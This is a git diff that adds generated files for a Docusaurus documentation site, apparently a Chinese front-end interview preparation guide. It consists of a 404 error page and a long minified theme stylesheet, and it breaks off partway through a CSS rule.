diff --git a/.nojekyll b/.nojekyll new file mode 100644 index 0000000..e69de29 diff --git a/404.html b/404.html new file mode 100644 index 0000000..505af64 --- /dev/null +++ b/404.html @@ -0,0 +1,17 @@ + + + + + + +Page Not Found | HZFE - 剑指前端 Offer + + + + +
+
Skip to main content

Page Not Found

We could not find what you were looking for.

Please contact the owner of the site that linked you to the original URL and let them know their link is broken.

+ + + + \ No newline at end of file diff --git a/assets/css/styles.36d1aa8c.css b/assets/css/styles.36d1aa8c.css new file mode 100644 index 0000000..0cb9f70 --- /dev/null +++ b/assets/css/styles.36d1aa8c.css @@ -0,0 +1 @@ +.container,.row .col{padding:0 var(--ifm-spacing-horizontal);width:100%}.markdown>h2,.markdown>h3,.markdown>h4,.markdown>h5,.markdown>h6{margin-bottom:calc(var(--ifm-heading-vertical-rhythm-bottom)*var(--ifm-leading))}.markdown li,body{word-wrap:break-word}body,ol ol,ol ul,ul ol,ul ul{margin:0}pre,table{overflow:auto}blockquote,pre{margin:0 0 var(--ifm-spacing-vertical)}.alert a:hover,blockquote a:hover{text-decoration-thickness:2px}.breadcrumbs__link,.button{transition-timing-function:var(--ifm-transition-timing-default)}.button,.react-toggle{-webkit-user-select:none;-ms-user-select:none}.button,code{vertical-align:middle}.button--outline.button--active,.button--outline:active,.button--outline:hover,:root{--ifm-button-color:var(--ifm-font-color-base-inverse)}.avatar__photo,.card,.text--truncate{overflow:hidden}.navbar--dark,:root{--ifm-navbar-link-hover-color:var(--ifm-color-primary)}:root,html[data-theme=dark]{--ifm-color-emphasis-500:var(--ifm-color-gray-500)}.admonition-icon svg,.alert__icon svg{fill:var(--ifm-alert-foreground-color)}.menu__link,.navbar__title,.text--truncate{text-overflow:ellipsis;white-space:nowrap}.button,.dropdown__link,.menu__link,.navbar__title,.text--truncate{white-space:nowrap}.react-toggle,html{-webkit-tap-highlight-color:transparent}:root{--ifm-color-scheme:light;--ifm-dark-value:10%;--ifm-darker-value:15%;--ifm-darkest-value:30%;--ifm-light-value:15%;--ifm-lighter-value:30%;--ifm-lightest-value:50%;--ifm-contrast-background-value:90%;--ifm-contrast-foreground-value:70%;--ifm-contrast-background-dark-value:70%;--ifm-contrast-foreground-dark-value:90%;--ifm-color-primary:#3578e5;--ifm-color-secondary:#ebedf0;--ifm-color-success:#00a400;--ifm-color-info:#54c7ec;--ifm-color-warning:#ffba00;--ifm-color-danger:#fa383e;--ifm-color-primary-dark:#306cce;--ifm-color-primary-darker:#2d66c3;--ifm-color-primary-darkest:#2554a0;--ifm-color-primary-light:#538ce9;--ifm-color-primary-lighter:#72a1ed;--ifm-color-primary-lightest:#9abcf2;--ifm-color-primary-contrast-background:#ebf2fc;--ifm-color-primary-contrast-foreground:#102445;--ifm-color-secondary-dark:#d4d5d8;--ifm-color-secondary-darker:#c8c9cc;--ifm-color-secondary-darkest:#a4a6a8;--ifm-color-secondary-light:#eef0f2;--ifm-color-secondary-lighter:#f1f2f5;--ifm-color-secondary-lightest:#f5f6f8;--ifm-color-secondary-contrast-background:#fdfdfe;--ifm-color-secondary-contrast-foreground:#474748;--ifm-color-success-dark:#009400;--ifm-color-success-darker:#008b00;--ifm-color-success-darkest:#007300;--ifm-color-success-light:#26b226;--ifm-color-success-lighter:#4dbf4d;--ifm-color-success-lightest:#80d280;--ifm-color-success-contrast-background:#e6f6e6;--ifm-color-success-contrast-foreground:#003100;--ifm-color-info-dark:#4cb3d4;--ifm-color-info-darker:#47a9c9;--ifm-color-info-darkest:#3b8ba5;--ifm-color-info-light:#6ecfef;--ifm-color-info-lighter:#87d8f2;--ifm-color-info-lightest:#aae3f6;--ifm-color-info-contrast-background:#eef9fd;--ifm-color-info-contrast-foreground:#193c47;--ifm-color-warning-dark:#e6a700;--ifm-color-warning-darker:#d99e00;--ifm-color-warning-darkest:#b38200;--ifm-color-warning-light:#ffc426;--ifm-color-warning-lighter:#ffcf4d;--ifm-color-warning-lightest:#ffdd80;--ifm-color-warning-contrast-background:#fff8e6;--ifm-color-warning-contrast-foreground:#4d3800;--ifm-color-danger-dark:#e13238;--ifm-color-danger-darker:#d53035;--ifm-color-danger-darkest:#af272b;--ifm-color-danger-light:#fb565b;--ifm-color-danger-lighter:#fb7478;--ifm-color-danger-lightest:#fd9c9f;--ifm-color-danger-contrast-background:#ffebec;--ifm-color-danger-contrast-foreground:#4b1113;--ifm-color-white:#fff;--ifm-color-black:#000;--ifm-color-gray-0:var(--ifm-color-white);--ifm-color-gray-100:#f5f6f7;--ifm-color-gray-200:#ebedf0;--ifm-color-gray-300:#dadde1;--ifm-color-gray-400:#ccd0d5;--ifm-color-gray-500:#bec3c9;--ifm-color-gray-600:#8d949e;--ifm-color-gray-700:#606770;--ifm-color-gray-800:#444950;--ifm-color-gray-900:#1c1e21;--ifm-color-gray-1000:var(--ifm-color-black);--ifm-color-emphasis-0:var(--ifm-color-gray-0);--ifm-color-emphasis-100:var(--ifm-color-gray-100);--ifm-color-emphasis-200:var(--ifm-color-gray-200);--ifm-color-emphasis-300:var(--ifm-color-gray-300);--ifm-color-emphasis-400:var(--ifm-color-gray-400);--ifm-color-emphasis-600:var(--ifm-color-gray-600);--ifm-color-emphasis-700:var(--ifm-color-gray-700);--ifm-color-emphasis-800:var(--ifm-color-gray-800);--ifm-color-emphasis-900:var(--ifm-color-gray-900);--ifm-color-emphasis-1000:var(--ifm-color-gray-1000);--ifm-color-content:var(--ifm-color-emphasis-900);--ifm-color-content-inverse:var(--ifm-color-emphasis-0);--ifm-color-content-secondary:#525860;--ifm-background-color:transparent;--ifm-background-surface-color:var(--ifm-color-content-inverse);--ifm-global-border-width:1px;--ifm-global-radius:0.4rem;--ifm-hover-overlay:rgba(0,0,0,0.05);--ifm-font-color-base:var(--ifm-color-content);--ifm-font-color-base-inverse:var(--ifm-color-content-inverse);--ifm-font-color-secondary:var(--ifm-color-content-secondary);--ifm-font-family-base:system-ui,-apple-system,Segoe UI,Roboto,Ubuntu,Cantarell,Noto Sans,sans-serif,BlinkMacSystemFont,"Segoe UI",Helvetica,Arial,sans-serif,"Apple Color Emoji","Segoe UI Emoji","Segoe UI Symbol";--ifm-font-family-monospace:SFMono-Regular,Menlo,Monaco,Consolas,"Liberation Mono","Courier New",monospace;--ifm-font-size-base:100%;--ifm-font-weight-light:300;--ifm-font-weight-normal:400;--ifm-font-weight-semibold:500;--ifm-font-weight-bold:700;--ifm-font-weight-base:var(--ifm-font-weight-normal);--ifm-line-height-base:1.65;--ifm-global-spacing:1rem;--ifm-spacing-vertical:var(--ifm-global-spacing);--ifm-spacing-horizontal:var(--ifm-global-spacing);--ifm-transition-fast:200ms;--ifm-transition-slow:400ms;--ifm-transition-timing-default:cubic-bezier(0.08,0.52,0.52,1);--ifm-global-shadow-lw:0 1px 2px 0 rgba(0,0,0,0.1);--ifm-global-shadow-md:0 5px 40px rgba(0,0,0,0.2);--ifm-global-shadow-tl:0 12px 28px 0 rgba(0,0,0,0.2),0 2px 4px 0 rgba(0,0,0,0.1);--ifm-z-index-dropdown:2;--ifm-z-index-fixed:3;--ifm-z-index-overlay:4;--ifm-container-width:1140px;--ifm-container-width-xl:1320px;--ifm-code-background:#f6f7f8;--ifm-code-border-radius:var(--ifm-global-radius);--ifm-code-font-size:90%;--ifm-code-padding-horizontal:0.1rem;--ifm-code-padding-vertical:0.1rem;--ifm-pre-background:var(--ifm-color-emphasis-100);--ifm-pre-border-radius:var(--ifm-code-border-radius);--ifm-pre-color:inherit;--ifm-pre-line-height:1.45;--ifm-pre-padding:1rem;--ifm-heading-color:inherit;--ifm-heading-margin-top:0;--ifm-heading-margin-bottom:var(--ifm-spacing-vertical);--ifm-heading-font-family:var(--ifm-font-family-base);--ifm-heading-font-weight:var(--ifm-font-weight-bold);--ifm-heading-line-height:1.25;--ifm-h1-font-size:2rem;--ifm-h2-font-size:1.5rem;--ifm-h3-font-size:1.25rem;--ifm-h4-font-size:1rem;--ifm-h5-font-size:0.875rem;--ifm-h6-font-size:0.85rem;--ifm-image-alignment-padding:1.25rem;--ifm-leading-desktop:1.25;--ifm-leading:calc(var(--ifm-leading-desktop)*1rem);--ifm-list-left-padding:2rem;--ifm-list-margin:1rem;--ifm-list-item-margin:0.25rem;--ifm-list-paragraph-margin:1rem;--ifm-table-cell-padding:0.75rem;--ifm-table-background:transparent;--ifm-table-stripe-background:var(--ifm-color-emphasis-100);--ifm-table-border-width:1px;--ifm-table-border-color:var(--ifm-color-emphasis-300);--ifm-table-head-background:inherit;--ifm-table-head-color:inherit;--ifm-table-head-font-weight:var(--ifm-font-weight-bold);--ifm-table-cell-color:inherit;--ifm-link-color:var(--ifm-color-primary);--ifm-link-decoration:none;--ifm-link-hover-color:var(--ifm-link-color);--ifm-link-hover-decoration:underline;--ifm-paragraph-margin-bottom:var(--ifm-leading);--ifm-blockquote-base-background:#ffe773;--ifm-blockquote-font-size:var(--ifm-font-size-base);--ifm-blockquote-border-left-width:5px;--ifm-blockquote-color:var(--ifm-font-color-base);--ifm-blockquote-padding-horizontal:var(--ifm-spacing-horizontal);--ifm-blockquote-padding-vertical:var(--ifm-spacing-vertical);--ifm-blockquote-shadow:var(--ifm-global-shadow-lw);--ifm-blockquote-background-color:rgba(255,231,115,0.2);--ifm-blockquote-foreground-color:var(--ifm-font-color-base);--ifm-blockquote-border-color:#f2db6d;--ifm-hr-border-color:var(--ifm-color-emphasis-500);--ifm-hr-border-width:1px;--ifm-hr-margin-vertical:1.5rem;--ifm-scrollbar-size:7px;--ifm-scrollbar-track-background-color:#f1f1f1;--ifm-scrollbar-thumb-background-color:silver;--ifm-scrollbar-thumb-hover-background-color:#a7a7a7;--ifm-alert-background-color:inherit;--ifm-alert-border-color:inherit;--ifm-alert-border-radius:var(--ifm-global-radius);--ifm-alert-border-width:0px;--ifm-alert-border-left-width:5px;--ifm-alert-color:var(--ifm-font-color-base);--ifm-alert-padding-horizontal:var(--ifm-spacing-horizontal);--ifm-alert-padding-vertical:var(--ifm-spacing-vertical);--ifm-alert-shadow:var(--ifm-global-shadow-lw);--ifm-avatar-intro-margin:1rem;--ifm-avatar-intro-alignment:inherit;--ifm-avatar-photo-size-sm:2rem;--ifm-avatar-photo-size-md:3rem;--ifm-avatar-photo-size-lg:4rem;--ifm-avatar-photo-size-xl:6rem;--ifm-badge-background-color:inherit;--ifm-badge-border-color:inherit;--ifm-badge-border-radius:var(--ifm-global-radius);--ifm-badge-border-width:var(--ifm-global-border-width);--ifm-badge-color:var(--ifm-color-white);--ifm-badge-padding-horizontal:calc(var(--ifm-spacing-horizontal)*0.5);--ifm-badge-padding-vertical:calc(var(--ifm-spacing-vertical)*0.25);--ifm-breadcrumb-border-radius:1.5rem;--ifm-breadcrumb-spacing:0.0625rem;--ifm-breadcrumb-color-active:var(--ifm-color-primary);--ifm-breadcrumb-item-background-active:var(--ifm-hover-overlay);--ifm-breadcrumb-padding-horizontal:1rem;--ifm-breadcrumb-padding-vertical:0.5rem;--ifm-breadcrumb-size-multiplier:1;--ifm-breadcrumb-separator:url('data:image/svg+xml;utf8,');--ifm-breadcrumb-separator-filter:none;--ifm-breadcrumb-separator-size:0.5rem;--ifm-breadcrumb-separator-size-multiplier:1.25;--ifm-button-background-color:inherit;--ifm-button-border-color:var(--ifm-button-background-color);--ifm-button-border-width:var(--ifm-global-border-width);--ifm-button-font-weight:var(--ifm-font-weight-bold);--ifm-button-padding-horizontal:1.5rem;--ifm-button-padding-vertical:0.375rem;--ifm-button-size-multiplier:1;--ifm-button-transition-duration:var(--ifm-transition-fast);--ifm-button-border-radius:calc(var(--ifm-global-radius)*var(--ifm-button-size-multiplier));--ifm-button-group-margin:2px;--ifm-card-background-color:var(--ifm-background-surface-color);--ifm-card-border-radius:calc(var(--ifm-global-radius)*2);--ifm-card-horizontal-spacing:var(--ifm-global-spacing);--ifm-card-vertical-spacing:var(--ifm-global-spacing);--ifm-toc-border-color:var(--ifm-color-emphasis-300);--ifm-toc-link-color:var(--ifm-color-content-secondary);--ifm-toc-padding-vertical:0.5rem;--ifm-toc-padding-horizontal:0.5rem;--ifm-dropdown-background-color:var(--ifm-background-surface-color);--ifm-dropdown-font-weight:var(--ifm-font-weight-semibold);--ifm-dropdown-link-color:var(--ifm-font-color-base);--ifm-dropdown-hover-background-color:var(--ifm-hover-overlay);--ifm-footer-background-color:var(--ifm-color-emphasis-100);--ifm-footer-color:inherit;--ifm-footer-link-color:var(--ifm-color-emphasis-700);--ifm-footer-link-hover-color:var(--ifm-color-primary);--ifm-footer-link-horizontal-spacing:0.5rem;--ifm-footer-padding-horizontal:calc(var(--ifm-spacing-horizontal)*2);--ifm-footer-padding-vertical:calc(var(--ifm-spacing-vertical)*2);--ifm-footer-title-color:inherit;--ifm-hero-background-color:var(--ifm-background-surface-color);--ifm-hero-text-color:var(--ifm-color-emphasis-800);--ifm-menu-color:var(--ifm-color-emphasis-700);--ifm-menu-color-active:var(--ifm-color-primary);--ifm-menu-color-background-active:var(--ifm-hover-overlay);--ifm-menu-color-background-hover:var(--ifm-hover-overlay);--ifm-menu-link-padding-horizontal:1rem;--ifm-menu-link-padding-vertical:0.375rem;--ifm-menu-link-sublist-icon:url('data:image/svg+xml;utf8,');--ifm-menu-link-sublist-icon-filter:none;--ifm-navbar-background-color:var(--ifm-background-surface-color);--ifm-navbar-height:3.75rem;--ifm-navbar-item-padding-horizontal:0.75rem;--ifm-navbar-item-padding-vertical:0.25rem;--ifm-navbar-link-color:var(--ifm-font-color-base);--ifm-navbar-link-active-color:var(--ifm-link-color);--ifm-navbar-padding-horizontal:var(--ifm-spacing-horizontal);--ifm-navbar-padding-vertical:calc(var(--ifm-spacing-vertical)*0.5);--ifm-navbar-shadow:var(--ifm-global-shadow-lw);--ifm-navbar-search-input-background-color:var(--ifm-color-emphasis-200);--ifm-navbar-search-input-color:var(--ifm-color-emphasis-800);--ifm-navbar-search-input-placeholder-color:var(--ifm-color-emphasis-500);--ifm-navbar-search-input-icon:url('data:image/svg+xml;utf8,');--ifm-navbar-sidebar-width:80vw;--ifm-pagination-border-radius:calc(var(--ifm-global-radius)*var(--ifm-pagination-size-multiplier));--ifm-pagination-color-active:var(--ifm-color-primary);--ifm-pagination-font-size:1rem;--ifm-pagination-item-active-background:var(--ifm-hover-overlay);--ifm-pagination-page-spacing:0.0625rem;--ifm-pagination-padding-horizontal:calc(var(--ifm-spacing-horizontal)*1);--ifm-pagination-padding-vertical:calc(var(--ifm-spacing-vertical)*0.25);--ifm-pagination-size-multiplier:1;--ifm-pagination-nav-border-radius:var(--ifm-global-radius);--ifm-pagination-nav-color-hover:var(--ifm-color-primary);--ifm-pills-color-active:var(--ifm-color-primary);--ifm-pills-color-background-active:var(--ifm-hover-overlay);--ifm-pills-spacing:0.0625rem;--ifm-tabs-color:var(--ifm-font-color-secondary);--ifm-tabs-color-active:var(--ifm-color-primary);--ifm-tabs-color-active-border:var(--ifm-tabs-color-active);--ifm-tabs-padding-horizontal:1rem;--ifm-tabs-padding-vertical:1rem;--ifm-tabs-spacing:0.0625rem;--ifm-color-primary:#39d;--ifm-color-primary-dark:#2473bf;--ifm-color-primary-darker:#1d67b6;--ifm-color-primary-darkest:#1252a6;--ifm-color-primary-light:#3490d6;--ifm-color-primary-lighter:#3ea2e4;--ifm-color-primary-lightest:#4bb8f5;--ifm-code-font-size:95%;--docusaurus-announcement-bar-height:auto;--collapse-button-bg-color-dark:#2e333a;--docusaurus-tag-list-border:var(--ifm-color-emphasis-300);--docusaurus-btt-background:var(--ifm-color-primary);--docusaurus-btt-color:#fff;--doc-sidebar-width:300px;--doc-sidebar-hidden-width:30px}.alert,blockquote{--ifm-link-decoration:underline}.badge--danger,.badge--info,.badge--primary,.badge--secondary,.badge--success,.badge--warning{--ifm-badge-border-color:var(--ifm-badge-background-color)}.button--link,.button--outline{--ifm-button-background-color:transparent}.navbar--dark,.navbar--primary{--ifm-navbar-search-input-background-color:hsla(0,0%,100%,0.1);--ifm-navbar-search-input-placeholder-color:hsla(0,0%,100%,0.5)}*{box-sizing:border-box}html{-webkit-font-smoothing:antialiased;text-rendering:optimizelegibility;-webkit-text-size-adjust:100%;text-size-adjust:100%;background-color:var(--ifm-background-color);color:var(--ifm-font-color-base);color-scheme:var(--ifm-color-scheme);font:var(--ifm-font-size-base)/var(--ifm-line-height-base) var(--ifm-font-family-base)}iframe{border:0;color-scheme:auto}.container{margin:0 auto;max-width:var(--ifm-container-width)}.padding-bottom--none,.padding-vert--none{padding-bottom:0!important}.padding-top--none,.padding-vert--none{padding-top:0!important}.padding-horiz--none,.padding-left--none{padding-left:0!important}.padding-horiz--none,.padding-right--none{padding-right:0!important}.container--fluid{max-width:inherit}.row .col,.utterances,img{max-width:100%}.row{display:flex;flex-direction:row;flex-wrap:wrap;margin:0 calc(var(--ifm-spacing-horizontal)*-1)}.margin-bottom--none,.margin-vert--none,.markdown>:last-child{margin-bottom:0!important}.margin-top--none,.margin-vert--none{margin-top:0!important}.row .col{--ifm-col-width:100%;flex:1 0;margin-left:0}.row .col.col--1,.row .col.col--2,.row .col.col--3,.row .col[class*=col--]{flex:0 0 var(--ifm-col-width);max-width:var(--ifm-col-width)}.row .col.col--1{--ifm-col-width:8.33333%}.row .col.col--offset-1{margin-left:8.33333%}.row .col.col--2{--ifm-col-width:16.66667%}.row .col.col--offset-2{margin-left:16.66667%}.row .col.col--3{--ifm-col-width:25%}.row .col.col--offset-3{margin-left:25%}.row .col.col--4{--ifm-col-width:33.33333%;flex:0 0 var(--ifm-col-width);max-width:var(--ifm-col-width)}.row .col.col--offset-4{margin-left:33.33333%}.row .col.col--5{--ifm-col-width:41.66667%;flex:0 0 var(--ifm-col-width);max-width:var(--ifm-col-width)}.row .col.col--6,.row .col.col--7{flex:0 0 var(--ifm-col-width);max-width:var(--ifm-col-width)}.row .col.col--offset-5{margin-left:41.66667%}.row .col.col--6{--ifm-col-width:50%}.row .col.col--offset-6{margin-left:50%}.row .col.col--7{--ifm-col-width:58.33333%}.row .col.col--offset-7{margin-left:58.33333%}.row .col.col--8{--ifm-col-width:66.66667%;flex:0 0 var(--ifm-col-width);max-width:var(--ifm-col-width)}.row .col.col--offset-8{margin-left:66.66667%}.row .col.col--9{--ifm-col-width:75%;flex:0 0 var(--ifm-col-width);max-width:var(--ifm-col-width)}.row .col.col--10,.row .col.col--11{flex:0 0 var(--ifm-col-width);max-width:var(--ifm-col-width)}.row .col.col--offset-9{margin-left:75%}.row .col.col--10{--ifm-col-width:83.33333%}.row .col.col--offset-10{margin-left:83.33333%}.row .col.col--11{--ifm-col-width:91.66667%}.row .col.col--offset-11{margin-left:91.66667%}.row .col.col--12{--ifm-col-width:100%;flex:0 0 var(--ifm-col-width);max-width:var(--ifm-col-width)}.row .col.col--offset-12{margin-left:100%}.row--no-gutters{margin-left:0;margin-right:0}.margin-horiz--none,.margin-left--none{margin-left:0!important}.margin-horiz--none,.margin-right--none{margin-right:0!important}.row--no-gutters>.col{padding-left:0;padding-right:0}.row--align-top{align-items:flex-start}.row--align-bottom{align-items:flex-end}.row--align-center{align-items:center}.row--align-stretch{align-items:stretch}.row--align-baseline{align-items:baseline}.margin--none{margin:0!important}.margin-bottom--xs,.margin-vert--xs{margin-bottom:.25rem!important}.margin-top--xs,.margin-vert--xs{margin-top:.25rem!important}.margin-horiz--xs,.margin-left--xs{margin-left:.25rem!important}.margin-horiz--xs,.margin-right--xs{margin-right:.25rem!important}.margin--xs{margin:.25rem!important}.margin-bottom--sm,.margin-vert--sm{margin-bottom:.5rem!important}.margin-top--sm,.margin-vert--sm{margin-top:.5rem!important}.margin-horiz--sm,.margin-left--sm{margin-left:.5rem!important}.margin-horiz--sm,.margin-right--sm{margin-right:.5rem!important}.margin--sm{margin:.5rem!important}.margin-bottom--md,.margin-vert--md{margin-bottom:1rem!important}.margin-top--md,.margin-vert--md{margin-top:1rem!important}.margin-horiz--md,.margin-left--md{margin-left:1rem!important}.margin-horiz--md,.margin-right--md{margin-right:1rem!important}.margin--md{margin:1rem!important}.margin-bottom--lg,.margin-vert--lg{margin-bottom:2rem!important}.margin-top--lg,.margin-vert--lg{margin-top:2rem!important}.margin-horiz--lg,.margin-left--lg{margin-left:2rem!important}.margin-horiz--lg,.margin-right--lg{margin-right:2rem!important}.margin--lg{margin:2rem!important}.margin-bottom--xl,.margin-vert--xl{margin-bottom:5rem!important}.margin-top--xl,.margin-vert--xl{margin-top:5rem!important}.margin-horiz--xl,.margin-left--xl{margin-left:5rem!important}.margin-horiz--xl,.margin-right--xl{margin-right:5rem!important}.margin--xl{margin:5rem!important}.padding--none{padding:0!important}.padding-bottom--xs,.padding-vert--xs{padding-bottom:.25rem!important}.padding-top--xs,.padding-vert--xs{padding-top:.25rem!important}.padding-horiz--xs,.padding-left--xs{padding-left:.25rem!important}.padding-horiz--xs,.padding-right--xs{padding-right:.25rem!important}.padding--xs{padding:.25rem!important}.padding-bottom--sm,.padding-vert--sm{padding-bottom:.5rem!important}.padding-top--sm,.padding-vert--sm{padding-top:.5rem!important}.padding-horiz--sm,.padding-left--sm{padding-left:.5rem!important}.padding-horiz--sm,.padding-right--sm{padding-right:.5rem!important}.padding--sm{padding:.5rem!important}.padding-bottom--md,.padding-vert--md{padding-bottom:1rem!important}.padding-top--md,.padding-vert--md{padding-top:1rem!important}.padding-horiz--md,.padding-left--md{padding-left:1rem!important}.padding-horiz--md,.padding-right--md{padding-right:1rem!important}.padding--md{padding:1rem!important}.padding-bottom--lg,.padding-vert--lg{padding-bottom:2rem!important}.padding-top--lg,.padding-vert--lg{padding-top:2rem!important}.padding-horiz--lg,.padding-left--lg{padding-left:2rem!important}.padding-horiz--lg,.padding-right--lg{padding-right:2rem!important}.padding--lg{padding:2rem!important}.padding-bottom--xl,.padding-vert--xl{padding-bottom:5rem!important}.padding-top--xl,.padding-vert--xl{padding-top:5rem!important}.padding-horiz--xl,.padding-left--xl{padding-left:5rem!important}.padding-horiz--xl,.padding-right--xl{padding-right:5rem!important}.padding--xl{padding:5rem!important}code{background-color:var(--ifm-code-background);border:.1rem solid rgba(0,0,0,.1);border-radius:var(--ifm-code-border-radius);font-family:var(--ifm-font-family-monospace);font-size:var(--ifm-code-font-size);padding:var(--ifm-code-padding-vertical) var(--ifm-code-padding-horizontal)}a code{color:inherit}pre{background-color:var(--ifm-pre-background);border-radius:var(--ifm-pre-border-radius);color:var(--ifm-pre-color);font:var(--ifm-code-font-size)/var(--ifm-pre-line-height) var(--ifm-font-family-monospace);padding:var(--ifm-pre-padding)}pre code{background-color:transparent;border:none;font-size:100%;line-height:inherit;padding:0}kbd{background-color:var(--ifm-color-emphasis-0);border:1px solid var(--ifm-color-emphasis-400);border-radius:.2rem;box-shadow:inset 0 -1px 0 var(--ifm-color-emphasis-400);color:var(--ifm-color-emphasis-800);font:80% var(--ifm-font-family-monospace);padding:.15rem .3rem}h1,h2,h3,h4,h5,h6{color:var(--ifm-heading-color);font-family:var(--ifm-heading-font-family);font-weight:var(--ifm-heading-font-weight);line-height:var(--ifm-heading-line-height);margin:var(--ifm-heading-margin-top) 0 var(--ifm-heading-margin-bottom) 0;margin-bottom:0;margin-top:0}h1{font-size:var(--ifm-h1-font-size)}h2{font-size:var(--ifm-h2-font-size)}h3{font-size:var(--ifm-h3-font-size)}h4{font-size:var(--ifm-h4-font-size)}h5{font-size:var(--ifm-h5-font-size)}h6{font-size:var(--ifm-h6-font-size)}img[align=right]{padding-left:var(--image-alignment-padding)}img[align=left]{padding-right:var(--image-alignment-padding)}.markdown{--ifm-h1-vertical-rhythm-top:3;--ifm-h2-vertical-rhythm-top:2;--ifm-h3-vertical-rhythm-top:1.5;--ifm-heading-vertical-rhythm-top:1.25;--ifm-h1-vertical-rhythm-bottom:1.25;--ifm-heading-vertical-rhythm-bottom:1}.markdown:after,.markdown:before{content:"";display:table}.markdown:after{clear:both}.markdown h1:first-child{--ifm-h1-font-size:3rem;margin-bottom:calc(var(--ifm-h1-vertical-rhythm-bottom)*var(--ifm-leading))}.markdown>h2{--ifm-h2-font-size:2rem;margin-top:calc(var(--ifm-h2-vertical-rhythm-top)*var(--ifm-leading))}.markdown>h3{--ifm-h3-font-size:1.5rem;margin-top:calc(var(--ifm-h3-vertical-rhythm-top)*var(--ifm-leading))}.markdown>h4,.markdown>h5,.markdown>h6{margin-top:calc(var(--ifm-heading-vertical-rhythm-top)*var(--ifm-leading))}.markdown>p,.markdown>pre,.markdown>ul{margin-bottom:var(--ifm-leading)}.markdown li>p{margin-top:var(--ifm-list-paragraph-margin)}.markdown li+li{margin-top:var(--ifm-list-item-margin)}ol,ul{margin:0 0 var(--ifm-list-margin);padding-left:var(--ifm-list-left-padding)}ol ol,ul ol{list-style-type:lower-roman}ol ol ol,ol ul ol,ul ol ol,ul ul ol{list-style-type:lower-alpha}table{border-collapse:collapse;display:block;margin-bottom:var(--ifm-spacing-vertical)}table thead tr{border-bottom:2px solid var(--ifm-table-border-color)}table tr{background-color:var(--ifm-table-background);border-top:var(--ifm-table-border-width) solid var(--ifm-table-border-color)}table tr:nth-child(2n){background-color:var(--ifm-table-stripe-background)}table td,table th{border:var(--ifm-table-border-width) solid var(--ifm-table-border-color);padding:var(--ifm-table-cell-padding)}table th{background-color:var(--ifm-table-head-background);color:var(--ifm-table-head-color);font-weight:var(--ifm-table-head-font-weight)}table td{color:var(--ifm-table-cell-color)}strong{font-weight:var(--ifm-font-weight-bold)}a{color:var(--ifm-link-color);text-decoration:var(--ifm-link-decoration);transition:color var(--ifm-transition-fast) var(--ifm-transition-timing-default)}a:hover{color:var(--ifm-link-hover-color);text-decoration:var(--ifm-link-hover-decoration)}.breadcrumbs__link:hover,.button:hover,.text--no-decoration,.text--no-decoration:hover,a:not([href]){text-decoration:none}p{margin:0 0 var(--ifm-paragraph-margin-bottom)}blockquote{--ifm-code-background:rgba(235,237,240,0.15);--ifm-link-color:var(--ifm-blockquote-foreground-color);--ifm-link-hover-color:var(--ifm-blockquote-foreground-color);background-color:var(--ifm-blockquote-background-color);border-left-width:0;border:0 solid var(--ifm-blockquote-border-color);border-left:var(--ifm-blockquote-border-left-width) solid var(--ifm-blockquote-border-color);box-shadow:var(--ifm-blockquote-shadow);color:var(--ifm-blockquote-foreground-color);font-size:var(--ifm-blockquote-font-size);padding:var(--ifm-blockquote-padding-vertical) var(--ifm-blockquote-padding-horizontal)}blockquote>:first-child{margin-top:0}blockquote>:last-child{margin-bottom:0}blockquote a{-webkit-text-decoration-color:var(--ifm-blockquote-border-color);text-decoration-color:var(--ifm-blockquote-border-color)}hr{border:var(--ifm-hr-border-width) solid var(--ifm-hr-border-color);margin:var(--ifm-hr-margin-vertical) 0}.shadow--lw{box-shadow:var(--ifm-global-shadow-lw)!important}.shadow--md{box-shadow:var(--ifm-global-shadow-md)!important}.shadow--tl{box-shadow:var(--ifm-global-shadow-tl)!important}.text--primary{color:var(--ifm-color-primary)}.text--secondary{color:var(--ifm-color-secondary)}.text--success{color:var(--ifm-color-success)}.text--info{color:var(--ifm-color-info)}.text--warning{color:var(--ifm-color-warning)}.text--danger{color:var(--ifm-color-danger)}.text--center{text-align:center}.text--left{text-align:left}.text--justify{text-align:justify}.text--right{text-align:right}.text--capitalize{text-transform:capitalize}.text--lowercase{text-transform:lowercase}.admonition h5,.alert__heading,.text--uppercase{text-transform:uppercase}.text--light{font-weight:var(--ifm-font-weight-light)}.text--normal{font-weight:var(--ifm-font-weight-normal)}.text--semibold{font-weight:var(--ifm-font-weight-semibold)}.text--bold{font-weight:var(--ifm-font-weight-bold)}.text--italic{font-style:italic}.text--break{word-wrap:break-word!important;word-break:break-word!important}.clean-btn{background:none;border:none;color:inherit;cursor:pointer;padding:0}.alert,.alert .close{color:var(--ifm-alert-foreground-color)}.alert--primary{--ifm-alert-background-color:var(--ifm-color-primary-contrast-background);--ifm-alert-background-color-highlight:rgba(53,120,229,0.15);--ifm-alert-foreground-color:var(--ifm-color-primary-contrast-foreground);--ifm-alert-border-color:var(--ifm-color-primary-dark)}.alert--secondary{--ifm-alert-background-color:var(--ifm-color-secondary-contrast-background);--ifm-alert-background-color-highlight:rgba(235,237,240,0.15);--ifm-alert-foreground-color:var(--ifm-color-secondary-contrast-foreground);--ifm-alert-border-color:var(--ifm-color-secondary-dark)}.alert--success{--ifm-alert-background-color:var(--ifm-color-success-contrast-background);--ifm-alert-background-color-highlight:rgba(0,164,0,0.15);--ifm-alert-foreground-color:var(--ifm-color-success-contrast-foreground);--ifm-alert-border-color:var(--ifm-color-success-dark)}.alert--info{--ifm-alert-background-color:var(--ifm-color-info-contrast-background);--ifm-alert-background-color-highlight:rgba(84,199,236,0.15);--ifm-alert-foreground-color:var(--ifm-color-info-contrast-foreground);--ifm-alert-border-color:var(--ifm-color-info-dark)}.alert--warning{--ifm-alert-background-color:var(--ifm-color-warning-contrast-background);--ifm-alert-background-color-highlight:rgba(255,186,0,0.15);--ifm-alert-foreground-color:var(--ifm-color-warning-contrast-foreground);--ifm-alert-border-color:var(--ifm-color-warning-dark)}.alert--danger{--ifm-alert-background-color:var(--ifm-color-danger-contrast-background);--ifm-alert-background-color-highlight:rgba(250,56,62,0.15);--ifm-alert-foreground-color:var(--ifm-color-danger-contrast-foreground);--ifm-alert-border-color:var(--ifm-color-danger-dark)}.alert{--ifm-code-background:var(--ifm-alert-background-color-highlight);--ifm-link-color:var(--ifm-alert-foreground-color);--ifm-link-hover-color:var(--ifm-alert-foreground-color);--ifm-tabs-color:var(--ifm-alert-foreground-color);--ifm-tabs-color-active:var(--ifm-alert-foreground-color);--ifm-tabs-color-active-border:var(--ifm-alert-border-color);background-color:var(--ifm-alert-background-color);border-left-width:var(--ifm-alert-border-width);border:var(--ifm-alert-border-width) solid 